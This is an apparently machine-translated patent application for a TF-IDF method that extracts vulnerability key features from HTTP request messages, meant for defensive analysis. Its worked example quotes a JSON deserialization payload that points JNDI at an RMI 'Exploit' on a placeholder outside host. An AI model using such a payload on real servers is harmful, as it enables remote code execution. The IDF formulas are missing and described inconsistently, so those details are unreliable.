Method, device, electronic device and storage medium for extracting key features of vulnerabilities

Abstract

The embodiments of the present application provide a method, device, electronic device, and storage medium for extracting key features of a vulnerability. In the embodiments of the present application, a message text is extracted from a request message to be processed, and the extracted message text is segmented to obtain a number of segmented words corresponding to the request message to be processed; the inverse text frequencies corresponding to the several segmented words corresponding to the request message to be processed are determined, and based on the inverse text frequencies corresponding to the several segmented words corresponding to the request message to be processed, the key features of the vulnerability corresponding to the request message to be processed are extracted. Thus, a method similar to natural language processing is used to automatically extract key features of the vulnerability, greatly improving the accuracy and efficiency of extracting key features of the vulnerability.

Description

Technical Field

[0001] The present application relates to the field of computer technology, and in particular to a method, device, electronic device, and storage medium for extracting key features of a vulnerability. Background Art

[0002] A vulnerability is a flaw in the specific implementation of hardware, software, or protocols, or in system security policies, that can allow attackers to access or damage a system without authorization. Vulnerability key features reflect the vulnerability's defining characteristics, and extracting them is essential for maintaining system security and stability. Currently, the analysis of vulnerability key features relies primarily on manual experience. However, in real-world applications, vulnerabilities often arise in a wide variety of programming languages, making it difficult for humans to professionally analyze each type of vulnerability. Consequently, the extracted vulnerability key features are often inaccurate, requiring significant manual effort and resulting in low extraction efficiency. Summary of the Invention

[0003] Multiple aspects of the present application provide a method, device, electronic device and storage medium for extracting key features of a vulnerability, so as to greatly improve the extraction accuracy and efficiency of key features of the vulnerability.

[0004] An embodiment of the present application provides a method for extracting key features of vulnerabilities, including: extracting target message text from a pending request message requesting access to an application service system; performing word segmentation processing on the target message text to obtain at least one target word segmentation included in the target message text; determining the inverse text frequency of each of the at least one target word segmentations; and extracting the key features of the vulnerability corresponding to the pending request message from the at least one target word segmentation based on the inverse text frequency of each of the at least one target word segmentations.

[0005] An embodiment of the present application also provides a device for extracting key features of vulnerabilities, including: a text extraction module, used to extract the target message text in the pending request message for accessing the application service system; a word segmentation module, used to perform word segmentation processing on the target message text to obtain at least one target word segmentation included in the target message text; a determination module, used to determine the inverse text frequency of each of the at least one target word segmentation; and a feature extraction module, used to extract the key features of the vulnerability corresponding to the pending request message from the at least one target word segmentation according to the inverse text frequency of each of the at least one target word segmentation.

[0006] An embodiment of the present application also provides an electronic device, comprising: a memory and a processor; the memory is used to store a computer program; the processor is coupled to the memory, and is used to execute the computer program to perform the steps in the method for extracting key features of vulnerabilities.

[0007] The present application also provides a computer-readable storage medium storing a computer program. When the computer program is executed by a processor, the processor is enabled to implement the steps of the method for extracting key vulnerability features.

[0008] In an embodiment of the present application, a message text is extracted from a pending request message, and the extracted message text is segmented to obtain a number of segmented words corresponding to the pending request message. The inverse text frequencies corresponding to each of the several segmented words corresponding to the pending request message are determined, and based on the inverse text frequencies corresponding to each of the several segmented words corresponding to the pending request message, the vulnerability key features corresponding to the pending request message are extracted. Thus, a method similar to natural language processing is used to automatically extract vulnerability key features, greatly improving the accuracy and efficiency of vulnerability key feature extraction. BRIEF DESCRIPTION OF THE DRAWINGS

[0009] The drawings described herein are used to provide a further understanding of the present application and constitute a part of the present application. The illustrative embodiments of the present application and their descriptions are used to explain the present application and do not constitute an improper limitation on the present application. In the drawings:

[0010] Figure 1 An application scenario diagram provided for an embodiment of the present application;

[0011] Figure 2 A flowchart of a method for extracting key features of a vulnerability provided in an embodiment of the present application;

[0012] Figure 3 A schematic diagram of the structure of a device for extracting key features of a vulnerability provided in an embodiment of the present application;

[0013] Figure 4 A schematic diagram of the structure of an electronic device provided in an embodiment of the present application. DETAILED DESCRIPTION

[0014] To make the purpose, technical solutions, and advantages of this application more clear, the technical solutions of this application will be clearly and completely described below in conjunction with the specific embodiments of this application and the corresponding drawings. Obviously, the embodiments described are only part of the embodiments of this application, not all of them. Based on the embodiments in this application, all other embodiments obtained by ordinary technicians in this field without making creative efforts are within the scope of protection of this application.

[0015] In the embodiments of the present application, "at least one" refers to one or more, and "more than one" refers to two or more. "And / or" describes the access relationship of associated objects, indicating that three relationships may exist. For example, A and / or B can represent three situations: A exists alone, A and B exist at the same time, and B exists alone, where A and B can be singular or plural. In the text description of the present application, the character " / " generally indicates that the previous and next associated objects are in an "or" relationship. In addition, in the embodiments of the present application, "first", "second", "third", "fourth", "fifth" and "sixth" are only used to distinguish the contents of different objects and have no other special meanings.

[0016] At present, the analysis of vulnerability key features mainly relies on manual experience. However, in actual applications, vulnerabilities of various programming language types often appear, and it is difficult for humans to conduct professional analysis of vulnerabilities of each language type, which leads to the extracted vulnerability key features often being inaccurate. In addition, the manual input is large and the extraction efficiency is low. To this end, the embodiment of the present application provides a vulnerability key feature extraction method, device, electronic device and storage medium. In the embodiment of the present application, message text extraction is performed on the request message to be processed, and the extracted message text is segmented to obtain several segmented words corresponding to the request message to be processed; the inverse text frequency corresponding to the several segmented words corresponding to the request message to be processed is determined, and the vulnerability key features corresponding to the request message to be processed are extracted based on the inverse text frequency corresponding to the several segmented words corresponding to the request message to be processed. Thus, the vulnerability key features are automatically extracted in a manner similar to natural language processing, which greatly improves the extraction accuracy and efficiency of the vulnerability key features.

[0017] Figure 1 This is an application scenario diagram provided by an embodiment of the present application. In this application scenario, first, a corpus of various programming languages ​​such as PHP, Java, and Python is constructed. Figure 1As shown in ①, program statements of various programming languages ​​are collected to construct a corpus corresponding to each programming language. Specifically, for each program statement of each programming language, various word segmentation algorithms such as forward maximum matching algorithm, reverse maximum matching algorithm, and bidirectional maximum matching algorithm are used to segment the program statement to obtain multiple word segments, and each word segmentation is tagged with part of speech. The parts of speech that can be tagged include, but are not limited to: stop words, special characters, abbreviations, useless tags, and normal words, etc. The part of speech tagged part of speech is stored as the corpus of the programming language in the corpus under the programming language type. For example, the PHP language corpus stores several part-of-speech tagged part of speech segmentations obtained based on the program statements of the PHP language; the Java language corpus stores several part-of-speech tagged part of speech segmentations obtained based on the program statements of the Java language. The Python language corpus stores several part-of-speech tagged part of speech segmentations obtained based on the program statements of the Python language.

[0018] Next, we build a historical access information database for each application service system. Application service systems are systems that provide various application services, such as database services, messaging services, and e-commerce services. Application service systems can refer to various software systems, such as application software, operating systems, and service ports. They can also refer to the hardware systems that deploy application software, operating systems, and service ports, such as IDCs (Internet Data Centers), cloud servers, and edge servers. There are no restrictions on this.

[0019] In this embodiment, for each application service system, a big data analysis is performed on the historical normal access traffic of the application service system during the historical time period, and a historical access information database of the application service system is constructed based on the big data analysis results. Figure 1 As shown in ②, the segmented words and their inverse document frequencies (IDF) that appear in historical normal access traffic are determined, and each segmented word and its inverse document frequency are associated and stored in the historical access information database.

[0020] It's important to note that historical normal access traffic refers to normal access traffic initiated by the client during historical time periods, not abnormal access traffic initiated by attackers through the client. It's understandable that the normal request packets included in historical normal access traffic are normal request packets initiated by users through the client during historical time periods, not abnormal request packets initiated by attackers through the client.

[0021] Next, for any subsequent request message for accessing the application service system, in order to facilitate understanding and distinction, the request message is referred to as a pending request message. The vulnerability key features of the pending request message can be extracted by the vulnerability key feature extraction device. Specifically, see Figure 1 As shown in ③, the vulnerability key feature extraction device extracts the vulnerability key features of the request message to be processed based on the corpus and the historical access information library.

[0022] Finally, see Figure 1 As shown in steps ④ and ⑤, the vulnerability key features of the pending request message are provided to the developer's terminal device, allowing the developer to perform vulnerability analysis based on the vulnerability key features of the pending request message. For example, the developer can determine whether the pending request message is an attack message initiated by an attacker based on the vulnerability key features of the pending request message; for another example, locate the cause of the vulnerability based on the vulnerability key features of the pending request message. For another example, the developer can formulate a vulnerability remediation strategy based on the vulnerability key features of the pending request message.

[0023] It is worth noting that Figure 1 The number and position relationship of each device in is only exemplary and not limiting. Figure 1 The application scenarios shown are merely exemplary, and the embodiments of the present application do not limit the application scenarios.

[0024] The following describes in detail the technical solutions provided by various embodiments of the present application in conjunction with the accompanying drawings.

[0025] Figure 2 This is a flow chart of a method for extracting key features of a vulnerability provided by an embodiment of the present application. The method can be executed by a device for extracting key features of a vulnerability, which can be composed of hardware and / or software and can generally be integrated into an electronic device. Figure 2 , the method may include the following steps:

[0026] 201. Extract target message text from a pending request message for accessing an application service system.

[0027] 202. Perform word segmentation processing on the target message text to obtain at least one target word segmentation included in the target message text.

[0028] 203. Determine the inverse text frequency of at least one target word segment.

[0029] 204. Extract a vulnerability key feature corresponding to the request message to be processed from the at least one target segmented word according to the inverse text frequency of each target segmented word.

[0030] In this embodiment, a pending request message refers to any request message for accessing an application service system that requires vulnerability key feature extraction. Typically, a request message consists of a message header and a message body. The message header primarily includes the request method, request URL (Universal Resource Locator), protocol version, and optional request header fields, while the message body records the message data to be transmitted.

[0031] In this embodiment, for any pending request message, the message text of the pending request message is extracted. For ease of understanding and distinction, the message text in the pending request message is referred to as the target message text. In actual application, the target message text can be extracted from the message header or the message body.

[0032] For example, the request message to be processed is as follows:

[0033] 1POST / HTTP / 1.1

[0034] 2Host:127.0.0.1

[0035] 3Content-Type:application / json 4

[0037] 5{

[0038] 6"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",

[0039] 7"jndiNames":"rmi: / / {{interactsh-url}} / Exploit"

[0040] 8}

[0041] Lines 6 to 8 in the pending request message in the above example are the message body of the pending request, and the content of lines 6 to 7 is the target message text in the message body.

[0042] After extracting the target message text corresponding to the pending request message, the target message text is segmented to obtain one or more segmented words included in the target message text. For ease of understanding and distinction, the segmented words obtained from the target message text are referred to as target segmented words.

[0043] In actual applications, the program statements in the target message text may be encoded, such as Base64 encoding, URL encoding, and other encoding processes. In particular, attackers can easily use encoding processing methods to circumvent security detection. If the program statements in the target message text have been encoded, if they are directly segmented without being decoded, the segmentation may be inaccurate, which will ultimately affect the accuracy of the extracted key features of the vulnerability. Therefore, further optionally, in order to improve the accuracy of the extracted key features of the vulnerability, before the target message text is segmented, each program statement in the target message text can be judged to determine whether the program statement has been encoded; if the program statement has been encoded, the program statement is decoded.

[0044] In practical applications, invisible characters from ASCII (American Standard Code for Information Interchange) may be present in program statements within the target message text. The ASCII character set consists of 95 printable characters (0x20-0x7E) and 33 control characters (0x00-0x1F, 0x7F). Printable characters are displayed on output devices and are also known as visible characters. Control characters are used to issue special instructions to the computer and cannot be displayed, so they are also known as invisible characters. Invisible characters can affect the accuracy of word segmentation. Therefore, to further improve the accuracy of word segmentation and the accuracy of extracted vulnerability key features, invisible character recognition can be performed on each program statement in the target message text before determining whether the program statement has been encoded. If invisible characters are identified in the target message text, they are removed from the target message text. It can be understood that the invisible characters in the target message text are first removed, the encoded program statements in the target message text are decoded, and finally the target message text is segmented, thus completing the data preprocessing operation before the segmentation process.

[0045] In actual applications, at least one target word segmentation obtained by performing word segmentation processing on the target message text may contain some special characters, stop words, abbreviations, etc., which contain a large number of irrelevant and unnecessary invalid words. Among them, special characters refer to characters or symbols that are less frequently used and difficult to input directly, compared with traditional or commonly used characters, such as but not limited to: unit symbols, tabs, phonetic symbols, full-width symbols, special symbols, etc. Abbreviations refer to shortened forms of words, for example, the abbreviation of the word else if is elif. Further optionally, in order to obtain a more accurate inverse text frequency of the target word segmentation, after performing word segmentation processing on the target message text and before determining the inverse text frequency of each target word segmentation, the corpus corresponding to the programming language type of the application service system can also be used to perform data cleaning on the at least one target word segmentation to eliminate the target word segmentation of the specified part of speech in the at least one target word segmentation.

[0046] Specifically, the designated part of speech is flexibly set based on actual application requirements. Words with designated parts of speech are insignificant. Examples of designated parts of speech include, but are not limited to, special characters, stop words, abbreviations, and so on. Furthermore, during data cleaning of at least one target word, case conversion can be performed to convert uppercase English characters to lowercase.

[0047] In this embodiment, a corpus corresponding to each programming language type is pre-created. Each corpus corresponding to each programming language type stores a large number of word segments with part of speech tagged. By matching the target word segment with the part of speech tagged word segment in the corpus, the part of speech of the target word segment can be determined. The target word segment with the specified part of speech is then removed, and the valid target word segment is retained.

[0048] During the corpus creation phase, multiple program statements corresponding to multiple programming language types are obtained. For each program statement in each programming language type, the program statement is segmented to obtain at least one segmented word. Part-of-speech tagging is performed on each segmented word in the program statement. Finally, a corpus for that programming language type is generated based on the segmented words with POS tags. For more information on corpus creation, please refer to the corpus creation in the field of natural language processing and will not be repeated here.

[0049] In this embodiment, data analysis is performed in advance on historical normal access traffic for requests to access the application service system during a historical time period to determine the segmented words and their inverse text frequencies that appear in the historical normal access traffic, and the segmented words and their inverse text frequencies are stored in association. For example, historical normal access traffic for requests to access the application service system during a historical time period can be obtained, where the historical normal access traffic includes at least one historical normal request message; for each historical normal request message, the historical message text in the message body of the historical normal request message is extracted; each historical message text is segmented to obtain at least one segmented word included in the historical message text; for each segmented word in the historical message text, the inverse text frequency of the segmented word is determined according to a first inverse text frequency algorithm; and each segmented word in the historical message text and its inverse text frequency are stored in association.

[0050] In actual applications, a large number of repeated historical normal request messages may appear. Further optionally, in order to reduce the waste of computing resources and more accurately determine the inverse text frequency of each word segmentation, at least one historical message text can be deduplicated before each historical message text is segmented.

[0051] In actual applications, program statements in historical message texts may have been encoded. Therefore, to more accurately determine the inverse text frequency of each segmented word, before segmenting each historical message text, a determination is made as to whether each program statement in the historical message text has been encoded. If the program statement has been encoded, the program statement is decoded.

[0052] In actual applications, invisible characters in ASCII (American Standard Code) may exist in program statements in historical message texts. Therefore, further optionally, in order to more accurately determine the inverse text frequency of each word segment, before determining whether each program statement in the historical message text has been encoded, invisible character recognition can be performed on the historical message text; if invisible characters are recognized in the historical message text, the invisible characters are removed from the historical message text.

[0053] In practical applications, at least one segmented word obtained through segmentation processing of historical message texts may contain a large number of irrelevant and unnecessary invalid words, such as special characters, stop words, and abbreviations. Furthermore, optionally, to obtain a more accurate inverse text frequency of the segmented words, after segmenting each historical message text and before determining the inverse text frequency of each segmented word in the historical message text, data cleaning of the at least one target segmented word may be performed using a corpus corresponding to the programming language type of the application service system to remove segmented words with a specified part of speech from the at least one segmented word.

[0054] In this embodiment, when determining the inverse text frequency of each segmented word in the historical message text, the inverse text frequency of the segmented word is determined according to a first inverse text frequency algorithm. The first inverse text frequency algorithm is a basic inverse text frequency algorithm, and can be an inverse text frequency algorithm that is flexibly improved on demand based on the basic inverse text frequency algorithm. Specifically, for each segmented word in the historical message text, the number of historical message texts in which the segmented word appears is counted; based on the number of historical message texts in which the segmented word appears and the total number of historical message texts, the inverse text frequency of the segmented word is determined according to the first inverse text frequency algorithm.

[0055] Assume that the inverse document frequency is recorded as IDF, and the total number of texts involved in the inverse document frequency calculation is recorded as N. For any word x, the number of texts that include word x in N texts is recorded as N(x);

[0056] The basic inverse text frequency algorithm is shown in formula (1):

[0057]

[0058] The first inverse text frequency algorithm is shown in formula (2):

[0059]

[0060] In formula (2), k is a constant coefficient, Figure 2 The first inverse text frequency algorithm shown is merely an example of an improved inverse text frequency algorithm based on the basic inverse text frequency algorithm, and there is no limitation to the first inverse text frequency algorithm.

[0061] In this embodiment, the number of historical message texts corresponding to historical normal request messages is used as the total number N of texts participating in the inverse text frequency calculation, and the number of historical message texts in which each word segment appears is used as the number N(x) of texts including word x.

[0062] In this embodiment, after the inverse text frequency of each segmented word in the historical message text is obtained, each segmented word and its corresponding inverse text frequency are associated and stored for subsequent use.

[0063] In this embodiment, after obtaining at least one target segmentation of the request message to be processed, the inverse text frequency of each of the at least one target segmentation is determined. Specifically, if the target segmentation has appeared in the historical normal access traffic, the inverse text frequency of the pre-stored target segmentation is obtained. If the target segmentation has not appeared in the historical normal access traffic, the inverse text frequency of the target segmentation is calculated in real time. As an example, when determining the inverse text frequency of each of the at least one target segmentation, it is possible to determine for each target segmentation whether the target segmentation is included in the pre-stored segmentations; if the target segmentation is included in the pre-stored segmentations, the inverse text frequency of the pre-stored target segmentation is obtained, wherein the inverse text frequency of the pre-stored segmentations is determined using a first inverse text frequency algorithm; if the target segmentation is not included in the pre-stored segmentations, the inverse text frequency of the target segmentation is determined using a second inverse text frequency algorithm.

[0064] In this embodiment, the second inverse text frequency algorithm is an inverse text frequency algorithm that is flexibly improved on demand based on the basic inverse text frequency algorithm. The inverse text frequency determined by the second inverse text frequency algorithm is greater than the inverse text frequency determined by the first inverse text frequency algorithm, thereby giving the target word a larger inverse text frequency, so that the target word has a larger inverse text frequency than the pre-stored word, thereby increasing the probability that the target word is selected as the key feature of the vulnerability. For example, the first inverse text frequency algorithm is designed as the above formula (1), and the second inverse text frequency algorithm can be designed as the above formula (2), and the value range of k is [0,1). It is worth noting that when calculating the inverse text frequency of the target word in the request message to be processed, the value of N(x) is 1.

[0065] In this embodiment, after obtaining the inverse text frequency of at least one target segmentation word, the vulnerability key features corresponding to the request message to be processed can be extracted from the at least one target segmentation word according to the inverse text frequency of the at least one target segmentation word. For example, at least one target segmentation word is sorted in descending order according to the inverse text frequency; the first number of target segmentations with the highest sorting frequency are selected as the vulnerability key features corresponding to the request message to be processed. The first number is flexibly set according to the actual situation, for example, 3 or 5. For another example, several target segmentations whose inverse text frequency is greater than a preset inverse text frequency threshold are selected from at least one target segmentation word as the vulnerability key features corresponding to the request message to be processed. For another example, from several target segmentations whose inverse text frequency is greater than a preset inverse text frequency threshold, several target segmentations with the largest inverse text frequency are selected as the vulnerability key features corresponding to the request message to be processed.

[0066] In some optional embodiments, the key vulnerability features corresponding to the request message to be processed can be extracted from the at least one target segmentation in combination with the word frequency and inverse text frequency of the at least one target segmentation. Therefore, further optionally, one implementation method of extracting the key vulnerability features corresponding to the request message to be processed from the at least one target segmentation based on the inverse text frequency of the at least one target segmentation is as follows: determining the word frequency of each of the at least one target segmentation in the target message text; determining the word frequency-inverse text frequency of each of the at least one target segmentation based on the word frequency and inverse text frequency of the at least one target segmentation; and extracting the key vulnerability features corresponding to the request message to be processed from the at least one target segmentation based on the word frequency-inverse text frequency of the at least one target segmentation.

[0067] Specifically, the term frequency (TF) of the target segmentation reflects the number of times the target segmentation appears in the target message text. For example, the number of times the target segmentation appears in the target message text is used as the term frequency of the target segmentation. For another example, the term frequency of the target segmentation is determined based on the number of times the target segmentation appears in the target message text and the total number of words in the target message text. The total number of words is the number of words included in the target message text. As an example, assuming that the number of times the target segmentation appears in the target message text is recorded as A and the total number of words in the target message text is recorded as B, the term frequency TF can be calculated according to formula (3):

[0068] TF=A / B……(3)

[0069] In this embodiment, the term frequency-inverse text frequency of the target word segment reflects the product of the term frequency and the inverse text frequency of the target word segment. Assuming that the term frequency-inverse text frequency is recorded as TF-IDF, TF-IDF can be calculated according to formula (4):

[0070] TF-IDF=TF×IDF……(4)

[0071] In this embodiment, there is no restriction on the method of extracting the key features of the vulnerability corresponding to the request message to be processed from at least one target segmentation based on the word frequency-inverse text frequency of at least one target segmentation. For example, at least one target segmentation can be sorted in descending order of word frequency-inverse text frequency; and a second number of target segmentations with the highest sorting order are selected as the key features of the vulnerability corresponding to the request message to be processed. The second number is flexibly set according to the actual situation, for example, 3 or 5. For another example, several target segmentations with a word frequency-inverse text frequency greater than a preset word frequency-inverse text frequency threshold are selected from at least one target segmentation as the key features of the vulnerability corresponding to the request message to be processed. For another example, several target segmentations with the largest word frequency-inverse text frequency are selected from several target segmentations with a word frequency-inverse text frequency greater than a preset word frequency-inverse text frequency threshold as the key features of the vulnerability corresponding to the request message to be processed.

[0072] The technical solution provided by the embodiments of this application extracts message text from a pending request message, performs word segmentation on the extracted message text, and obtains several word segments corresponding to the pending request message. The inverse text frequencies corresponding to each of the several word segments corresponding to the pending request message are determined, and based on the inverse text frequencies corresponding to each of the several word segments corresponding to the pending request message, the vulnerability key features corresponding to the pending request message are extracted. Thus, the vulnerability key features are automatically extracted using a method similar to natural language processing, greatly improving the accuracy and efficiency of vulnerability key feature extraction.

[0073] Figure 3 This is a schematic diagram of the structure of a device for extracting key features of vulnerabilities provided in an embodiment of the present application. Figure 3 , the apparatus may include:

[0074] The text extraction module 31 is used to extract the target message text in the pending request message for accessing the application service system;

[0075] A word segmentation module 32 is configured to perform word segmentation processing on the target message text to obtain at least one target word included in the target message text;

[0076] A determination module 33, configured to determine an inverse text frequency of at least one target word segment;

[0077] The feature extraction module 34 is configured to extract a vulnerability key feature corresponding to the request message to be processed from at least one target segmented word according to the inverse text frequency of each target segmented word.

[0078] Further optionally, when the determination module 33 determines the inverse text frequency of at least one target segmentation word, it is specifically used to: for each target segmentation word, determine whether the target segmentation word is included in the pre-stored segmentations; if the target segmentation word is included in the pre-stored segmentations, obtain the inverse text frequency of the pre-stored target segmentation word, wherein the inverse text frequency of the pre-stored segmentation word is determined using a first inverse text frequency algorithm; if the target segmentation word is not included in the pre-stored segmentations, determine the inverse text frequency of the target segmentation word using a second inverse text frequency algorithm, and the inverse text frequency determined by the second inverse text frequency algorithm is greater than the inverse text frequency determined by the first inverse text frequency algorithm.

[0079] Further optionally, when the feature extraction module 34 extracts the key vulnerability features corresponding to the request message to be processed from at least one target segmentation according to the inverse text frequency of each of the at least one target segmentation, it is specifically used to: sort the at least one target segmentation in descending order of the inverse text frequency; and select the first number of target segmentations with the highest sorting order as the key vulnerability features corresponding to the request message to be processed.

[0080] Further optionally, when the feature extraction module 34 extracts the key vulnerability features corresponding to the request message to be processed from at least one target segmentation according to the respective inverse text frequencies of at least one target segmentation, it is specifically used to: determine the word frequency of each of the at least one target segmentation in the target message text; determine the word frequency-inverse text frequency of each of the at least one target segmentation according to the word frequency and inverse text frequency of each of the at least one target segmentation; and extract the key vulnerability features corresponding to the request message to be processed from the at least one target segmentation according to the word frequency-inverse text frequency of each of the at least one target segmentation.

[0081] Further optionally, when the feature extraction module 34 extracts the key vulnerability features corresponding to the request message to be processed from at least one target segmentation according to the word frequency-inverse text frequency of at least one target segmentation, it is specifically used to: sort the at least one target segmentation in order of word frequency-inverse text frequency from high to low; and select the second number of target segmentations with the highest ranking as the key vulnerability features corresponding to the request message to be processed.

[0082] Further optionally, the above-mentioned device also includes: a decoding processing module, which is used to determine whether each program statement in the target message text has been encoded; if the program statement has been encoded, the program statement is decoded.

[0083] Further optionally, the above-mentioned device also includes: an invisible character processing module, which is used to recognize invisible characters in the target message text; if invisible characters are recognized in the target message text, the invisible characters are removed from the target message text.

[0084] Further optionally, the above-mentioned device also includes: a data cleaning module, which is used to use a corpus corresponding to the programming language type of the application service system to perform data cleaning on at least one target segmentation to eliminate target segmentations of specified parts of speech in at least one target segmentation.

[0085] Further optionally, the above-mentioned device also includes: a corpus creation module, which is used to obtain multiple program statements corresponding to multiple programming language types; for each program statement under each programming language type, the program statement is segmented to obtain at least one segmentation included in the program statement; the at least one segmentation included in the program statement is tagged with parts of speech; and a corpus of the programming language type is generated according to the segmentations with parts of speech tagged under the programming language type.

[0086] Further optionally, the above-mentioned device also includes: a data mining module, used to obtain at least one historical normal request message requesting access to the application service system in a historical time period; for each historical normal request message, extracting the historical message text in the message body of the historical normal request message; performing word segmentation processing on each historical message text to obtain at least one word included in the historical message text; for each word in the historical message text, determining the inverse text frequency of the word according to the first inverse text frequency algorithm; and storing each word in the historical message text and its inverse text frequency in an associated manner.

[0087] Further optionally, when the data mining module determines the inverse text frequency of each segmentation in the historical message text according to the first inverse text frequency algorithm, it is specifically used to: count the number of historical message texts in which the segmentation appears for each segmentation in the historical message text; and determine the inverse text frequency of the segmentation according to the first inverse text frequency algorithm based on the number of historical message texts in which the segmentation appears and the total number of historical message texts.

[0088] Figure 3 The device shown can perform Figure 2 The method of the embodiment shown, its implementation principle and technical effect are not described in detail. Figure 3 The specific manner in which each module and unit performs operations in the device shown has been described in detail in the embodiment of the method and will not be elaborated here.

[0089] It should be noted that the execution entity of each step of the method provided in the above embodiment can be the same device, or the method can be executed by different devices. For example, the execution entity of steps 201 to 203 can be device A; for another example, the execution entity of steps 201 and 202 can be device A, and the execution entity of step 203 can be device B; and so on.

[0090] In addition, in some of the processes described in the above embodiments and the accompanying drawings, multiple operations that appear in a specific order are included, but it should be clearly understood that these operations may not be executed in the order in which they appear in this article or may be executed in parallel. The serial numbers of the operations, such as 201, 202, etc., are only used to distinguish between different operations, and the serial numbers themselves do not represent any execution order. In addition, these processes may include more or fewer operations, and these operations may be executed in sequence or in parallel. It should be noted that the descriptions of "first", "second", etc. in this article are used to distinguish different messages, devices, modules, etc., and do not represent a sequential order, nor do they limit "first" and "second" to different types.

[0091] Figure 4 This is a schematic diagram of the structure of an electronic device provided in an embodiment of the present application. Figure 4 As shown, the electronic device includes: a memory 41 and a processor 42;

[0092] The memory 41 is used to store computer programs and can be configured to store various other data to support operations on the computing platform. Examples of such data include instructions for any application or method operating on the computing platform, contact data, phone book data, messages, pictures, videos, etc.

[0093] The memory 41 can be implemented by any type of volatile or non-volatile memory device or a combination thereof, such as static random-access memory (SRAM), electrically erasable programmable read only memory (EEPROM), erasable programmable read only memory (EPROM), programmable read-only memory (PROM), read-only memory (ROM), magnetic memory, flash memory, magnetic disk or optical disk.

[0094] The processor 42 is coupled to the memory 41 and is used to execute the computer program in the memory 41 to: extract the target message text in the pending request message for accessing the application service system; perform word segmentation processing on the target message text to obtain at least one target word included in the target message text; determine the inverse text frequency of each of the at least one target word; and extract the vulnerability key feature corresponding to the pending request message from the at least one target word based on the inverse text frequency of each of the at least one target word.

[0095] Further, if Figure 4 As shown, the electronic device also includes: a communication component 43, a display 44, a power component 45, an audio component 46 and other components. Figure 4 Only some components are shown schematically, which does not mean that the electronic device only includes Figure 4 In addition, Figure 4The components in the dotted box are optional components, not mandatory components, and the specific components may depend on the product form of the electronic device. The electronic device of this embodiment can be implemented as a terminal device such as a desktop computer, a laptop computer, a smart phone or an IOT (Internet of things) device, or a server device such as a conventional server, a cloud server or a server array. If the electronic device of this embodiment is implemented as a terminal device such as a desktop computer, a laptop computer, a smart phone, etc., it may include Figure 4 If the electronic device of this embodiment is implemented as a conventional server, cloud server or server array and other server-side devices, it may not include Figure 4 Components within the dotted box.

[0096] The detailed implementation process of the processor executing each action can be found in the relevant description in the aforementioned method embodiment or device embodiment, and will not be repeated here.

[0097] Accordingly, an embodiment of the present application further provides a computer-readable storage medium storing a computer program, which, when executed, can implement the steps that can be performed by the electronic device in the above method embodiment.

[0098] Accordingly, an embodiment of the present application also provides a computer program product, including a computer program / instruction. When the computer program / instruction is executed by a processor, the processor is enabled to implement the steps in the above method embodiment that can be performed by an electronic device.

[0099] The above-mentioned communication component is configured to facilitate wired or wireless communication between the device where the communication component is located and other devices. The device where the communication component is located can access a wireless network based on a communication standard, such as WiFi, 2G, 3G, 4G / LTE, 5G and other mobile communication networks, or a combination thereof. In an exemplary embodiment, the communication component receives a broadcast signal or broadcast-related information from an external broadcast management system via a broadcast channel. In an exemplary embodiment, the communication component also includes a near field communication (NFC) module to facilitate short-range communication. For example, the NFC module can be implemented based on radio frequency identification (RFID) technology, infrared data association (IrDA) technology, ultra wide band (UWB) technology, Bluetooth (BT) technology and other technologies.

[0100] The above-mentioned display includes a screen, which may include a liquid crystal display (LCD) and a touch panel (TP). If the screen includes a touch panel, the screen can be implemented as a touch screen to receive input signals from the user. The touch panel includes one or more touch sensors to sense touch, slide, and gestures on the touch panel. The touch sensor can not only sense the boundary of the touch or slide action, but also detect the duration and pressure associated with the touch or slide operation.

[0101] The power supply assembly provides power to various components of the device in which the power supply assembly is located. The power supply assembly may include a power management system, one or more power supplies, and other components associated with generating, managing, and distributing power to the device in which the power supply assembly is located.

[0102] The above-mentioned audio component can be configured to output and / or input audio signals. For example, the audio component includes a microphone (MIC), and when the device where the audio component is located is in an operating mode, such as call mode, recording mode, and voice recognition mode, the microphone is configured to receive external audio signals. The received audio signal can be further stored in a memory or sent via a communication component. In some embodiments, the audio component also includes a speaker for outputting audio signals.

[0103] Those skilled in the art will appreciate that the embodiments of the present application can be provided as methods, systems, or computer program products. Therefore, the present application can adopt the form of a complete hardware embodiment, a complete software embodiment, or an embodiment in combination with software and hardware. Moreover, the present application can adopt the form of a computer program product implemented on one or more computer-readable storage media (including but not limited to magnetic disk storage, CD-ROM, optical storage, etc.) that contain computer-usable program code.

[0104] The present application is described with reference to the flowcharts and / or block diagrams of the methods, devices (systems), and computer program products according to the embodiments of the present application. It should be understood that each process and / or box in the flowchart and / or block diagram, as well as the combination of the processes and / or boxes in the flowchart and / or block diagram, can be implemented by computer program instructions. These computer program instructions can be provided to a processor of a general-purpose computer, a special-purpose computer, an embedded processor, or other programmable data processing device to produce a machine, so that the instructions executed by the processor of the computer or other programmable data processing device generate instructions for implementing the processes in the flowchart and / or block diagram. Figure 1 a process or multiple processes and / or boxes Figure 1 A device that provides the functions specified in a block or multiple blocks.

[0105] These computer program instructions may also be stored in a computer readable memory that can direct a computer or other programmable data processing device to work in a specific manner, so that the instructions stored in the computer readable memory produce an article of manufacture comprising an instruction device, which implements the process Figure 1 a process or multiple processes and / or boxes Figure 1 The function specified in one or more boxes.

[0106] These computer program instructions can also be loaded onto a computer or other programmable data processing device so that a series of operational steps are executed on the computer or other programmable device to produce a computer-implemented process, thereby providing the instructions executed on the computer or other programmable device for implementing the process. Figure 1 a process or multiple processes and / or boxes Figure 1 A step that specifies a function in one or more boxes.

[0107] In a typical configuration, a computing device includes one or more processors (central processing units, CPUs), input / output interfaces, network interfaces, and memory.

[0108] Memory may include non-permanent storage in a computer-readable medium, random access memory (RAM) and / or non-volatile memory, such as read-only memory (ROM) or flash RAM. Memory is an example of a computer-readable medium.

[0109] Computer-readable media include permanent and non-permanent, removable and non-removable media that can be implemented by any method or technology to store information. The information can be computer-readable instructions, data structures, program modules or other data. Examples of computer storage media include, but are not limited to, Phase Change RAM (PRAM), Static Random-Access Memory (SRAM), Dynamic Random Access Memory (DRAM), other types of Random Access Memory (RAM), Read Only Memory (ROM), Electrically-Erasable Programmable Read-Only Memory (EEPROM), flash memory or other memory technology, CD-ROM, Digital Versatile Disc (DVD) or other optical storage, magnetic cassettes, magnetic tape disk storage or other magnetic storage devices or any other non-transmission medium that can be used to store information that can be accessed by a computing device. According to the definition in this article, computer-readable media does not include transitory media such as modulated data signals and carrier waves.

